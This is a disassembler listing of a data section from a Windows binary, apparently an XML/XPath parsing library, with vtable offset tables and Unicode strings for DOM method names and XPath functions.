off_69B28460 dd offset loc_69B52D3C ; DATA XREF: sub_69B51E15+30o
; sub_69B53388+36o
dd offset loc_69B5329F
dd offset loc_69B5336A
dd offset loc_69B52D46
dd offset loc_69B52D50
dd offset loc_69B52D5A
dd offset loc_69B52D64
dd offset loc_69B52D6E
dd offset loc_69B52D78
dd offset loc_69B52D82
dd offset loc_69B52D8C
dd offset loc_69B52D96
dd offset loc_69B52DA0
dd offset loc_69B52DAA
dd offset loc_69B52DB4
dd offset loc_69B52DBE
dd offset loc_69B52DC8
dd offset loc_69B52DD2
dd offset loc_69B52DDC
dd offset loc_69B52DE6
dd offset loc_69B52DF0
dd offset loc_69B52DFA
dd offset loc_69B52E04
dd offset loc_69B54690
dd offset loc_69B52E0E
dd offset loc_69B52E18
dd offset loc_69B52E22
dd offset loc_69B52E2C
dd offset loc_69B52E36
dd offset loc_69B52E40
dd offset loc_69B52E4A
dd offset loc_69B52E54
dd offset loc_69B52E5E
dd offset loc_69B52E68
dd offset loc_69B52E72
dd offset loc_69B52E7C
dd offset loc_69B52E86
dd offset loc_69B52E90
dd offset loc_69B52E9A
dd offset loc_69B52EA4
dd offset loc_69B52EAE
dd offset loc_69B52EB8
dd offset loc_69B52EC2
dd offset loc_69B5469A
dd offset loc_69B546A4
align 8
off_69B28518 dd offset loc_69B52BAC ; DATA XREF: sub_69B51E15+29o
; sub_69B53388+2Fo
dd offset loc_69B53295
dd offset loc_69B53360
dd offset loc_69B52BB6
dd offset loc_69B52BC0
dd offset loc_69B52BCA
dd offset loc_69B52BD4
dd offset loc_69B52BDE
dd offset loc_69B52BE8
dd offset loc_69B52BF2
dd offset loc_69B52BFC
dd offset loc_69B52C06
dd offset loc_69B52C10
dd offset loc_69B52C1A
dd offset loc_69B52C24
dd offset loc_69B52C2E
dd offset loc_69B52C38
dd offset loc_69B52C42
dd offset loc_69B52C4C
dd offset loc_69B52C56
dd offset loc_69B52C60
dd offset loc_69B52C6A
dd offset loc_69B52C74
dd offset loc_69B54686
dd offset loc_69B52C7E
dd offset loc_69B52C88
dd offset loc_69B52C92
dd offset loc_69B52C9C
dd offset loc_69B52CA6
dd offset loc_69B52CB0
dd offset loc_69B52CBA
dd offset loc_69B52CC4
dd offset loc_69B52CCE
dd offset loc_69B52CD8
dd offset loc_69B52CE2
dd offset loc_69B52CEC
dd offset loc_69B52CF6
dd offset loc_69B52D00
dd offset loc_69B52D0A
dd offset loc_69B52D14
dd offset loc_69B52D1E
dd offset loc_69B52D28
dd offset loc_69B52D32
dd offset sub_69B543F4
dd offset sub_69B54442
dd offset sub_69B54490
off_69B285D0 dd offset loc_69B52A1C ; DATA XREF: sub_69B51E15+22o
; sub_69B53388+28o
dd offset loc_69B5328B
dd offset loc_69B53356
dd offset loc_69B52A26
dd offset loc_69B52A30
dd offset loc_69B52A3A
dd offset loc_69B52A44
dd offset loc_69B52A4E
dd offset loc_69B52A58
dd offset loc_69B52A62
dd offset loc_69B52A6C
dd offset loc_69B52A76
dd offset loc_69B52A80
dd offset loc_69B52A8A
dd offset loc_69B52A94
dd offset loc_69B52A9E
dd offset loc_69B52AA8
dd offset loc_69B52AB2
dd offset loc_69B52ABC
dd offset loc_69B52AC6
dd offset loc_69B52AD0
dd offset loc_69B52ADA
dd offset loc_69B52AE4
dd offset loc_69B5467C
dd offset loc_69B52AEE
dd offset loc_69B52AF8
dd offset loc_69B52B02
dd offset loc_69B52B0C
dd offset loc_69B52B16
dd offset loc_69B52B20
dd offset loc_69B52B2A
dd offset loc_69B52B34
dd offset loc_69B52B3E
dd offset loc_69B52B48
dd offset loc_69B52B52
dd offset loc_69B52B5C
dd offset loc_69B52B66
dd offset loc_69B52B70
dd offset loc_69B52B7A
dd offset loc_69B52B84
dd offset loc_69B52B8E
dd offset loc_69B52B98
dd offset loc_69B52BA2
align 10h
off_69B28680 dd offset loc_69B52864 ; DATA XREF: sub_69B51E15+1Bo
; sub_69B53388+21o
dd offset loc_69B53284
dd offset loc_69B5334C
dd offset loc_69B5286E
dd offset loc_69B52878
dd offset loc_69B52882
dd offset loc_69B5288C
dd offset loc_69B52896
dd offset loc_69B528A0
dd offset loc_69B528AA
dd offset loc_69B528B4
dd offset loc_69B528BE
dd offset loc_69B528C8
dd offset loc_69B528D2
dd offset loc_69B528DC
dd offset loc_69B528E6
dd offset loc_69B528F0
dd offset loc_69B528FA
dd offset loc_69B52904
dd offset loc_69B5290E
dd offset loc_69B52918
dd offset loc_69B52922
dd offset loc_69B5292C
dd offset loc_69B5464A
dd offset loc_69B52936
dd offset loc_69B52940
dd offset loc_69B5294A
dd offset loc_69B52954
dd offset loc_69B5295E
dd offset loc_69B52968
dd offset loc_69B52972
dd offset loc_69B5297C
dd offset loc_69B52986
dd offset loc_69B52990
dd offset loc_69B5299A
dd offset loc_69B529A4
dd offset loc_69B529AE
dd offset loc_69B529B8
dd offset loc_69B529C2
dd offset loc_69B529CC
dd offset loc_69B529D6
dd offset loc_69B529E0
dd offset loc_69B529EA
dd offset loc_69B529F4
dd offset loc_69B529FE
dd offset loc_69B54654
dd offset loc_69B5465E
dd offset loc_69B54668
dd offset loc_69B52A08
dd offset loc_69B52A12
dd offset loc_69B54672
dd offset loc_69B54104
off_69B28750 dd offset loc_69B526C0 ; DATA XREF: sub_69B51E15+14o
; sub_69B53388+1Ao
dd offset loc_69B5327D
dd offset loc_69B53342
dd offset loc_69B526CA
dd offset loc_69B526D4
dd offset loc_69B526DE
dd offset loc_69B526E8
dd offset loc_69B526F2
dd offset loc_69B526FC
dd offset loc_69B52706
dd offset loc_69B52710
dd offset loc_69B5271A
dd offset loc_69B52724
dd offset loc_69B5272E
dd offset loc_69B52738
dd offset loc_69B52742
dd offset loc_69B5274C
dd offset loc_69B52756
dd offset loc_69B52760
dd offset loc_69B5276A
dd offset loc_69B52774
dd offset loc_69B5277E
dd offset loc_69B52788
dd offset loc_69B54640
dd offset loc_69B52792
dd offset loc_69B5279C
dd offset loc_69B527A6
dd offset loc_69B527B0
dd offset loc_69B527BA
dd offset loc_69B527C4
dd offset loc_69B527CE
dd offset loc_69B527D8
dd offset loc_69B527E2
dd offset loc_69B527EC
dd offset loc_69B527F6
dd offset loc_69B52800
dd offset loc_69B5280A
dd offset loc_69B52814
dd offset loc_69B5281E
dd offset loc_69B52828
dd offset loc_69B52832
dd offset loc_69B5283C
dd offset loc_69B52846
dd offset loc_69B52850
dd offset loc_69B5285A
dd offset loc_69B53BC4
dd offset loc_69B53C84
dd offset loc_69B53DCC
dd offset sub_69B522E1
dd offset sub_69B52313
dd offset sub_69B53ECC
align 10h
off_69B28820 dd offset loc_69B52530 ; DATA XREF: sub_69B51E15+Do
; sub_69B53388+13o
dd offset loc_69B53276
dd offset loc_69B53338
dd offset loc_69B5253A
dd offset loc_69B52544
dd offset loc_69B5254E
dd offset loc_69B52558
dd offset loc_69B52562
dd offset loc_69B5256C
dd offset loc_69B52576
dd offset loc_69B52580
dd offset loc_69B5258A
dd offset loc_69B52594
dd offset loc_69B5259E
dd offset loc_69B525A8
dd offset loc_69B525B2
dd offset loc_69B525BC
dd offset loc_69B525C6
dd offset loc_69B525D0
dd offset loc_69B525DA
dd offset loc_69B525E4
dd offset loc_69B525EE
dd offset loc_69B525F8
dd offset loc_69B54636
dd offset loc_69B52602
dd offset loc_69B5260C
dd offset loc_69B52616
dd offset loc_69B52620
dd offset loc_69B5262A
dd offset loc_69B52634
dd offset loc_69B5263E
dd offset loc_69B52648
dd offset loc_69B52652
dd offset loc_69B5265C
dd offset loc_69B52666
dd offset loc_69B52670
dd offset loc_69B5267A
dd offset loc_69B52684
dd offset loc_69B5268E
dd offset loc_69B52698
dd offset loc_69B526A2
dd offset loc_69B526AC
dd offset loc_69B526B6
dd offset loc_69B52278
dd offset sub_69B5228C
dd offset sub_69B522CD
off_69B288D8 dd offset loc_69B523A0 ; DATA XREF: sub_69B51E15+6o
; sub_69B53388+Co
dd offset loc_69B5326F
dd offset loc_69B53331
dd offset loc_69B523AA
dd offset loc_69B523B4
dd offset loc_69B523BE
dd offset loc_69B523C8
dd offset loc_69B523D2
dd offset loc_69B523DC
dd offset loc_69B523E6
dd offset loc_69B523F0
dd offset loc_69B523FA
dd offset loc_69B52404
dd offset loc_69B5240E
dd offset loc_69B52418
dd offset loc_69B52422
dd offset loc_69B5242C
dd offset loc_69B52436
dd offset loc_69B52440
dd offset loc_69B5244A
dd offset loc_69B52454
dd offset loc_69B5245E
dd offset loc_69B52468
dd offset loc_69B5462C
dd offset loc_69B52472
dd offset loc_69B5247C
dd offset loc_69B52486
dd offset loc_69B52490
dd offset loc_69B5249A
dd offset loc_69B524A4
dd offset loc_69B524AE
dd offset loc_69B524B8
dd offset loc_69B524C2
dd offset loc_69B524CC
dd offset loc_69B524D6
dd offset loc_69B524E0
dd offset loc_69B524EA
dd offset loc_69B524F4
dd offset loc_69B524FE
dd offset loc_69B52508
dd offset loc_69B52512
dd offset loc_69B5251C
dd offset loc_69B52526
dd offset sub_69B5232D
dd offset sub_69B52243
dd offset sub_69B52257
off_69B28990 dd offset sub_69B51E5B ; DATA XREF: sub_69B51E15o
; sub_69B53388+6o
dd offset sub_69B5320E
dd offset sub_69B532BD
dd offset sub_69B51E72
dd offset sub_69B51E86
dd offset sub_69B51EA2
dd offset sub_69B51EC4
dd offset sub_69B52204
dd offset sub_69B51F03
dd offset sub_69B51F17
dd offset sub_69B51EEF
dd offset sub_69B51F38
dd offset sub_69B51F4C
dd offset sub_69B51F60
dd offset sub_69B51F74
dd offset sub_69B51F88
dd offset sub_69B51F9C
dd offset sub_69B52025
dd offset sub_69B51FB0
dd offset sub_69B51FD9
dd offset sub_69B51FF5
dd offset sub_69B5200D
dd offset sub_69B52039
dd offset sub_69B533E0
dd offset sub_69B5204D
dd offset sub_69B52065
dd offset sub_69B52079
dd offset sub_69B5208D
dd offset sub_69B5222F
dd offset sub_69B520A1
dd offset sub_69B520B5
dd offset sub_69B520C9
dd offset sub_69B520EA
dd offset sub_69B52101
dd offset sub_69B52118
dd offset sub_69B5212F
dd offset sub_69B5214A
dd offset sub_69B52165
dd offset sub_69B52180
dd offset sub_69B52197
dd offset sub_69B521AE
dd offset sub_69B521C5
dd offset sub_69B521DC
dd offset sub_69B52204
dd offset sub_69B53494
dd offset sub_69B535B4
dd offset sub_69B536DC
dd offset sub_69B537CC
dd offset sub_69B538B4
dd offset sub_69B539EC
dd offset sub_69B52218
dd offset sub_69B53B0C
off_69B28A60 dd offset sub_69B54B0B ; DATA XREF: sub_69B549EC+12o
; sub_69B54ADC+10o
aSetproperty: ; DATA XREF: .data:69B99570o
; .data:69B99960o
unicode 0, <setProperty>,0
aRemovenext: ; DATA XREF: .data:69B99540o
unicode 0, <removeNext>,0
align 4
aRemoveall: ; DATA XREF: .data:69B99528o
unicode 0, <removeAll>,0
aPeeknode: ; DATA XREF: .data:69B99510o
unicode 0, <peekNode>,0
align 4
aMatches: ; DATA XREF: .data:69B994E0o
unicode 0, <matches>,0
aGetproperty: ; DATA XREF: .data:69B99498o
; .data:69B997F8o
unicode 0, <getProperty>,0
aExpr: ; DATA XREF: .data:69B99480o
unicode 0, <expr>,0
align 10h
aContext: ; DATA XREF: sub_69B60C8B:loc_69B60D47o
; .text:69B61E68o ...
unicode 0, <context>,0
aClone: ; DATA XREF: .data:off_69B99450o
unicode 0, <clone>,0
off_69B28B0C dd offset sub_69B5654C ; DATA XREF: sub_69B56167+15o
; sub_69B56509+18o ...
aCdata: ; DATA XREF: sub_69B60C8B:loc_69B60F99o
; .text:69B61E58o ...
unicode 0, <cdata>,0
aValidateonpars: ; DATA XREF: .data:69B999A8o
unicode 0, <validateOnParse>,0
aValidate: ; DATA XREF: .data:69B99990o
unicode 0, <validate>,0
align 10h
aUrl: ; DATA XREF: .data:69B99978o
; .data:69B99C50o
unicode 0, <url>,0
aSchemas: ; DATA XREF: .data:69B99948o
unicode 0, <schemas>,0
aSave: ; DATA XREF: .data:69B99930o
unicode 0, <save>,0
align 4
aResolveexterna: ; DATA XREF: .data:69B99918o
unicode 0, <resolveExternals>,0
align 4
aPreservewhites: ; DATA XREF: .data:69B998E8o
unicode 0, <preserveWhiteSpace>,0
align 10h
aParseerror: ; DATA XREF: .data:69B998D0o
unicode 0, <parseError>,0
align 4
aNodefromid: ; DATA XREF: .data:69B99870o
unicode 0, <nodeFromID>,0
align 10h
aNamespaces: ; DATA XREF: .data:69B99858o
unicode 0, <namespaces>,0
align 4
aLoadxml: ; DATA XREF: .data:69B99840o
unicode 0, <loadXML>,0
aLoad: ; DATA XREF: .data:69B99828o
unicode 0, <load>,0
align 4
aImplementation: ; DATA XREF: .data:69B99810o
unicode 0, <implementation>,0
align 4
aDocumentelemen: ; DATA XREF: .data:69B997C8o
unicode 0, <documentElement>,0
aDoctype_2: ; DATA XREF: .data:69B997B0o
unicode 0, <doctype>,0
aCreatetextnode: ; DATA XREF: .data:69B99798o
unicode 0, <createTextNode>,0
align 4
aCreateprocessi: ; DATA XREF: .data:69B99780o
unicode 0, <createProcessingInstruction>,0
aCreatenode: ; DATA XREF: .data:69B99768o
unicode 0, <createNode>,0
align 4
aCreateentityre: ; DATA XREF: .data:69B99750o
unicode 0, <createEntityReference>,0
aCreateelement: ; DATA XREF: .data:69B99738o
unicode 0, <createElement>,0
aCreatedocument: ; DATA XREF: .data:69B99720o
unicode 0, <createDocumentFragment>,0
align 4
aCreatecomment: ; DATA XREF: .data:69B99708o
unicode 0, <createComment>,0
aCreatecdatasec: ; DATA XREF: .data:69B996F0o
unicode 0, <createCDATASection>,0
align 10h
aCreateattribut: ; DATA XREF: .data:69B996D8o
unicode 0, <createAttribute>,0
aAsync: ; DATA XREF: .data:69B996C0o
unicode 0, <async>,0
aAbort: ; DATA XREF: .data:off_69B996A8o
unicode 0, <abort>,0
dword_69B28DD8 dd 0D97A6DA0h, 11CFA864h, 0A000BE83h, 0D82B0CC9h
; DATA XREF: sub_69B4311C+11Co
; sub_69B46AC0+A8o ...
off_69B28DE8 dd offset loc_69B598D7 ; DATA XREF: sub_69B592CE+45o
; sub_69B59833+3Do
dd offset loc_69B598E1
dd offset loc_69B597F6
dd offset sub_69B5A124
dd offset sub_69B5A12B
dd offset sub_69B59800
dd offset sub_69B5980A
dd offset sub_69B56F58
dd offset sub_69B43832
dd offset sub_69B84A43
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B84A43
dd offset sub_69B84A4B
dd offset sub_69B84A3B
off_69B28E24 dd offset loc_69B597F1 ; DATA XREF: sub_69B592CE+3Eo
; sub_69B59833+36o
off_69B28E28 dd offset loc_69B598C6 ; DATA XREF: sub_69B592CE+37o
; sub_69B59833+2Fo
dd offset loc_69B598D0
dd offset loc_69B597E7
dd offset sub_69B2CF0E
off_69B28E38 dd offset loc_69B59814 ; DATA XREF: sub_69B592CE+30o
; sub_69B59833+23o
off_69B28E3C dd offset loc_69B5989A ; DATA XREF: sub_69B592CE+29o
; sub_69B59833+1Co
dd offset loc_69B598A4
dd offset loc_69B59661
dd offset sub_69B2CF0E
align 10h
off_69B28E50 dd offset sub_69B570DC ; DATA XREF: sub_69B592CE+23o
; sub_69B59833+15o
dd offset sub_69B5988B
dd offset sub_69B59321
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B56828
dd offset sub_69B56895
dd offset sub_69B59345
dd offset sub_69B59359
dd offset sub_69B5936D
dd offset sub_69B59331
dd offset sub_69B5938E
dd offset sub_69B593A2
dd offset sub_69B593B6
dd offset sub_69B593CA
dd offset sub_69B593DE
dd offset sub_69B593F2
dd offset sub_69B5947B
dd offset sub_69B59406
dd offset sub_69B5942F
dd offset sub_69B5944B
dd offset sub_69B59463
dd offset sub_69B5948F
dd offset sub_69B594A3
dd offset sub_69B57136
dd offset sub_69B594B7
dd offset sub_69B594CB
dd offset sub_69B594DF
dd offset sub_69B594F3
dd offset sub_69B59507
dd offset sub_69B5951B
dd offset sub_69B5952F
dd offset sub_69B59550
dd offset sub_69B59564
dd offset sub_69B59578
dd offset sub_69B5958C
dd offset sub_69B595A4
dd offset sub_69B595BC
dd offset sub_69B595D4
dd offset sub_69B595E8
dd offset sub_69B595FC
dd offset sub_69B59610
dd offset sub_69B59624
dd offset sub_69B571EC
dd offset sub_69B572C4
dd offset sub_69B57444
dd offset sub_69B57374
dd offset sub_69B57504
dd offset sub_69B575F7
dd offset sub_69B5765D
dd offset sub_69B576C4
dd offset sub_69B5772B
dd offset sub_69B57792
dd offset sub_69B5757D
dd offset sub_69B57894
dd offset sub_69B59649
dd offset sub_69B57908
dd offset sub_69B57A74
dd offset sub_69B57B5C
dd offset sub_69B57EB0
dd offset sub_69B57F64
dd offset sub_69B58034
dd offset sub_69B5810C
dd offset sub_69B5816D
dd offset sub_69B581CE
dd offset sub_69B58274
dd offset sub_69B583A8
dd offset sub_69B585FC
dd offset sub_69B5869C
dd offset sub_69B5874C
dd offset sub_69B587EC
dd offset sub_69B5889C
dd offset sub_69B5893C
dd offset sub_69B589EC
dd offset sub_69B58ACC
dd offset sub_69B58BA4
dd offset sub_69B58C7C
dd offset sub_69B58D74
dd offset sub_69B591E4
dd offset sub_69B58E4C
dd offset sub_69B59028
dd offset sub_69B5911C
off_69B28F98 dd offset loc_69B598AB ; DATA XREF: sub_69B592CE+1Co
; sub_69B59833+29o
dd offset loc_69B598B5
dd offset loc_69B5966B
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B59675
dd offset sub_69B5967F
dd offset sub_69B59689
dd offset sub_69B59693
dd offset sub_69B5969D
dd offset sub_69B596A7
dd offset sub_69B596B1
dd offset sub_69B596BB
dd offset sub_69B596C5
dd offset sub_69B596CF
dd offset sub_69B596D9
dd offset sub_69B596E3
dd offset sub_69B596ED
dd offset sub_69B596F7
dd offset sub_69B59701
dd offset sub_69B5970B
dd offset sub_69B59715
dd offset sub_69B5971F
dd offset sub_69B59729
dd offset sub_69B598BC
dd offset sub_69B59733
dd offset sub_69B5973D
dd offset sub_69B59747
dd offset sub_69B59751
dd offset sub_69B5975B
dd offset sub_69B59765
dd offset sub_69B5976F
dd offset sub_69B59779
dd offset sub_69B59783
dd offset sub_69B5978D
dd offset sub_69B59797
dd offset sub_69B597A1
dd offset sub_69B597AB
dd offset sub_69B597B5
dd offset sub_69B597BF
dd offset sub_69B597C9
dd offset sub_69B597D3
dd offset sub_69B597DD
aXml_1: ; DATA XREF: sub_69B59F43+1Eo
; sub_69B5DAE5+102o
unicode 0, <XML>,0
off_69B2904C dd offset sub_69B5A110 ; DATA XREF: sub_69B5A06D+1Co
; sub_69B5A168+14o
dd offset sub_69B43BC0
dd offset sub_69B5A11A
dd offset sub_69B5A124
dd offset sub_69B5A12B
dd offset sub_69B5A135
dd offset sub_69B5A13F
dd offset sub_69B5A094
dd offset sub_69B5A0AF
dd offset sub_69B84A43
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B84A43
dd offset sub_69B84A4B
dd offset sub_69B84A3B
off_69B29088 dd offset sub_69B5A149 ; DATA XREF: sub_69B5A06D+15o
; sub_69B5A168+Eo
off_69B2908C dd offset sub_69B5A0F2 ; DATA XREF: sub_69B3C290+Eo
; sub_69B3CDC8+15o ...
dd offset sub_69B5A0FC
dd offset sub_69B5A106
dd offset sub_69B2CF0E
aSrctext: ; DATA XREF: .data:69B99C38o
unicode 0, <srcText>,0
aReason: ; DATA XREF: .data:69B99C20o
unicode 0, <reason>,0
align 4
aLinepos: ; DATA XREF: .data:69B99C08o
unicode 0, <linepos>,0
aLine: ; DATA XREF: .data:69B99BF0o
unicode 0, <line>,0
align 4
aFilepos: ; DATA XREF: .data:69B99BD8o
unicode 0, <filepos>,0
off_69B290E8 dd offset sub_69B5A110 ; DATA XREF: sub_69B5A7CD+23o
; sub_69B5A86B+1Bo
dd offset sub_69B43BC0
dd offset sub_69B5A11A
dd offset sub_69B5A124
dd offset sub_69B5A12B
dd offset sub_69B5A135
dd offset sub_69B5A13F
dd offset sub_69B5A802
dd offset sub_69B5A81D
dd offset sub_69B84A43
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B84A43
dd offset sub_69B84A4B
dd offset sub_69B84A3B
off_69B29124 dd offset loc_69B5A84C ; DATA XREF: sub_69B5A7CD+1Co
; sub_69B5A86B+15o
off_69B29128 dd offset loc_69B5CEC5 ; DATA XREF: sub_69B5CDA6+18o
; sub_69B5CE3E+16o
; char aXmldocument_0[]
aXmldocument_0 db 'XMLDocument',0 ; DATA XREF: sub_69B5D064+72o
; sub_69B5E40C+8Ao
off_69B29138 dd offset loc_69B5D31E ; DATA XREF: sub_69B5D774+28o
; sub_69B5D8D8+24o
off_69B2913C dd offset loc_69B5D2EC+4 ; DATA XREF: sub_69B5D774+21o
; sub_69B5D8D8+1Do
dd offset loc_69B5CEE4
off_69B29144 dd offset loc_69B5D8CE ; DATA XREF: sub_69B5D774+1Ao
; sub_69B5D8D8+16o
dd offset sub_69B7099E
dd offset sub_69B709A8
dd offset sub_69B5D7FC
dd offset sub_69B5D819
dd offset sub_69B5D83E
dd offset sub_69B5D869
dd offset sub_69B5CF5F
dd offset sub_69B5D89D
dd offset sub_69B84A43
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B84A43
dd offset sub_69B84A4B
dd offset sub_69B84A3B
off_69B29180 dd offset loc_69B5DA7C ; DATA XREF: sub_69B5D774+13o
; sub_69B5D8D8+10o
; OLECHAR aOnpropertychan
aOnpropertychan: ; DATA XREF: sub_69B5D8D8+46o
; sub_69B5E892+97o
unicode 0, <onpropertychange>,0
align 4
; OLECHAR aXmldocument
aXmldocument: ; DATA XREF: sub_69B5DAE5+Bo
; sub_69B7E2EC+50o ...
unicode 0, <XMLDocument>,0
off_69B291C0 dd offset loc_69B5E0B4 ; DATA XREF: sub_69B5E06D+13o
; sub_69B5E228+17o
dd offset loc_69B5E0BE
dd offset loc_69B5E2E3
dd offset sub_69B5DE1B
dd offset sub_69B5DE5F
off_69B291D4 dd offset sub_69B5E0A0 ; DATA XREF: sub_69B5E06D+Co
; sub_69B5E228+10o
dd offset sub_69B5E0AA
dd offset sub_69B5E2DC
dd offset sub_69B5DFF8
dd offset sub_69B5E3D0
dd offset sub_69B5E40C
align 10h
off_69B291F0 dd offset sub_69B5DD72 ; DATA XREF: sub_69B5E06D+6o
; sub_69B5E228+Ao
dd offset sub_69B5DE06
dd offset sub_69B5E266
dd offset sub_69B5DEB1
dd offset sub_69B5DEDE
dd offset sub_69B5DF0F
dd offset sub_69B5DF1F
dd offset sub_69B5DF3A
dd offset sub_69B5DF4A
dd offset sub_69B365E3
dd offset sub_69B5DFE0
dd offset sub_69B84A3B
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A4B
dd offset sub_69B84A3B
off_69B29230 dd offset sub_69B5E365 ; DATA XREF: sub_69B5E296+Ao
; sub_69B5E330+1Do
off_69B29234 dd offset sub_69B5E7DF ; DATA XREF: sub_69B5E67Do
; sub_69B5E861+1Ao
dd offset sub_69B5E61C
dd offset sub_69B5E62C
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B365EB
dd offset sub_69B5E691
dd offset sub_69B5E846
aSelf: ; DATA XREF: .text:69B5EB70o
; sub_69B60C8B:loc_69B60D8Do
unicode 0, <self>,0
align 10h
aParent: ; DATA XREF: .text:69B5EB68o
; sub_69B60C8B:loc_69B60D83o
unicode 0, <parent>,0
align 10h
aDescendantOrSe: ; DATA XREF: .text:69B5EB60o
; sub_69B60C8B:loc_69B60D6Fo
unicode 0, <descendant-or-self>,0
align 4
aDescendant: ; DATA XREF: .text:69B5EB58o
; sub_69B60C8B:loc_69B60D65o
unicode 0, <descendant>,0
align 10h
aChild: ; DATA XREF: .text:69B5EB50o
; sub_69B60C8B:loc_69B60D5Bo
unicode 0, <child>,0
aAncestorOrSelf: ; DATA XREF: .text:69B5EB40o
; sub_69B60C8B:loc_69B60D51o
unicode 0, <ancestor-or-self>,0
align 10h
aAncestor: ; DATA XREF: .text:off_69B5EB38o
; sub_69B60C8B:loc_69B60D01o ...
unicode 0, <ancestor>,0
align 4
aTranslate: ; DATA XREF: .text:69B5EEB0o
; sub_69B60C8B:loc_69B60EAFo ...
unicode 0, <translate>,0
aSystemProperty: ; DATA XREF: .text:69B5EEA8o
; sub_69B60C8B:loc_69B60E23o ...
unicode 0, <system-property>,0
aSubstringBefor: ; DATA XREF: .text:69B5EEA0o
; sub_69B60C8B:loc_69B60E7Do ...
unicode 0, <substring-before>,0
align 4
aSubstringAfter: ; DATA XREF: .text:69B5EE98o
; sub_69B60C8B:loc_69B60E87o ...
unicode 0, <substring-after>,0
aSubstring: ; DATA XREF: .text:69B5EE90o
; sub_69B60C8B:loc_69B60E91o ...
unicode 0, <substring>,0
aStringLength: ; DATA XREF: .text:69B5EE88o
; sub_69B60C8B:loc_69B60E9Bo ...
unicode 0, <string-length>,0
aStartsWith: ; DATA XREF: .text:69B5EE78o
; sub_69B60C8B:loc_69B60E69o ...
unicode 0, <starts-with>,0
aPosition: ; DATA XREF: .text:69B5EE70o
; sub_69B60C8B:loc_69B60DC9o ...
unicode 0, <position>,0
align 4
aNormalizeSpace: ; DATA XREF: .text:69B5EE58o
; sub_69B60C8B:loc_69B60EA5o ...
unicode 0, <normalize-space>,0
aNamespaceUri: ; DATA XREF: .text:69B5EE50o
; sub_69B60C8B:loc_69B60DE7o ...
unicode 0, <namespace-uri>,0
aLocalName: ; DATA XREF: .text:69B5EE40o
; sub_69B60C8B:loc_69B60DDDo ...
unicode 0, <local-name>,0
align 4
aLast: ; DATA XREF: .text:69B5EE38o
; sub_69B60C8B:loc_69B60DBFo ...
unicode 0, <last>,0
align 4
aFunctionAvaila: ; DATA XREF: .text:69B5EE28o
; sub_69B60C8B:loc_69B60E37o ...
unicode 0, <function-available>,0
align 10h
aFormatnumber: ; DATA XREF: .text:69B5EE20o
; sub_69B60C8B:loc_69B60E55o ...
unicode 0, <formatNumber>,0
align 4
aFormatNumber: ; DATA XREF: .text:69B5EE18o
; sub_69B60C8B:loc_69B60E4Bo ...
unicode 0, <format-number>,0
aElementAvailab: ; DATA XREF: .text:69B5EE08o
; sub_69B60C8B:loc_69B60E41o ...
unicode 0, <element-available>,0
aCurrent: ; DATA XREF: .text:69B5EE00o
; sub_69B60C8B:loc_69B60E19o ...
unicode 0, <current>,0
aCount: ; DATA XREF: .text:69B5EDF8o
; sub_69B60C8B:loc_69B60DD3o ...
unicode 0, <count>,0
aContains: ; DATA XREF: .text:69B5EDF0o
; sub_69B60C8B:loc_69B60E73o ...
unicode 0, <contains>,0
align 4
aConcat: ; DATA XREF: .text:69B5EDE8o
; sub_69B60C8B:loc_69B60E5Fo ...
unicode 0, <concat>,0
align 4
off_69B294EC dd offset loc_69B5EFFA ; DATA XREF: sub_69B5EFB0+9o
; sub_69B5F0BE+9o ...
dd offset sub_69B5F092
dd offset sub_69B5F09C
dd offset sub_69B624A2
asc_69B294FC: ; DATA XREF: sub_69B60C8B:loc_69B60F49o
; .text:69B61F08o
unicode 0, <||>,0
align 4
aValue: ; DATA XREF: sub_69B60C8B:loc_69B60EB9o
; .text:69B61EF8o
unicode 0, <value>,0
aTextnode_0: ; DATA XREF: sub_69B60C8B:loc_69B60F71o
; .text:69B61EF0o
unicode 0, <textnode>,0
align 4
aTextnode: ; DATA XREF: sub_69B60C8B:loc_69B60CCFo
; .text:69B61EE8o
unicode 0, <textNode>,0
align 4
aNode: ; DATA XREF: sub_69B60C8B:loc_69B60FB7o
; .text:69B61EA0o
unicode 0, <node>,0
align 4
aIndex: ; DATA XREF: sub_69B60C8B:loc_69B60CEDo
; .text:69B61E98o
unicode 0, <index>,0
aEof: ; DATA XREF: sub_69B60C8B:loc_69B61057o
; .text:69B61E88o
unicode 0, <eof>,0
aEnd: ; DATA XREF: sub_69B60C8B:loc_69B60CF7o
; .text:69B61E80o
unicode 0, <end>,0
asc_69B29560: ; DATA XREF: sub_69B60C8B:loc_69B61174o
; .text:69B61E38o
unicode 0, <]>,0
aString_0: ; DATA XREF: sub_69B60C8B:loc_69B6107Fo
; .text:69B61E28o
unicode 0, <STRING>,0
align 4
aNumber_0: ; DATA XREF: sub_69B60C8B:loc_69B60FFDo
; .text:69B61E20o
unicode 0, <NUMBER>,0
align 4
aName_0: ; DATA XREF: sub_69B60C8B:loc_69B61075o
; .text:69B61E18o
unicode 0, <NAME>,0
align 10h
dword_69B29590 dd 40h ; .text:69B61E10o
asc_69B29594: ; DATA XREF: sub_69B60C8B:loc_69B60EF9o
; .text:69B61E08o
dw 3Eh
unicode 0, <=>,0
align 4
; const WCHAR dword_69B2959C
dword_69B2959C dd 3Dh ; .text:69B61DF8o ...
asc_69B295A0: ; DATA XREF: sub_69B60C8B:loc_69B60EEFo
; .text:69B61DF0o
dw 3Ch
unicode 0, <=>,0
align 4
; const WCHAR dword_69B295A8
dword_69B295A8 dd 3Ch ; .text:69B61DE8o ...
; const WCHAR dword_69B295AC
dword_69B295AC dd 3Bh ; .text:69B61DE0o ...
asc_69B295B0: ; DATA XREF: sub_69B60C8B:loc_69B6106Bo
; .text:69B61DD0o
unicode 0, <//>,0
align 4
a__: ; DATA XREF: sub_69B60C8B:loc_69B61061o
; .text:69B61DC0o
unicode 0, <..>,0
align 10h
dword_69B295C0 dd 2Eh ; .text:69B61DB8o ...
asc_69B295C4: ; DATA XREF: sub_69B60C8B:loc_69B60F3Fo
; .text:69B61D78o
unicode 0, <&&>,0
align 4
aOr: ; DATA XREF: sub_69B60C8B:loc_69B60CBBo
; .text:69B61D70o
unicode 0, <$or$>,0
align 4
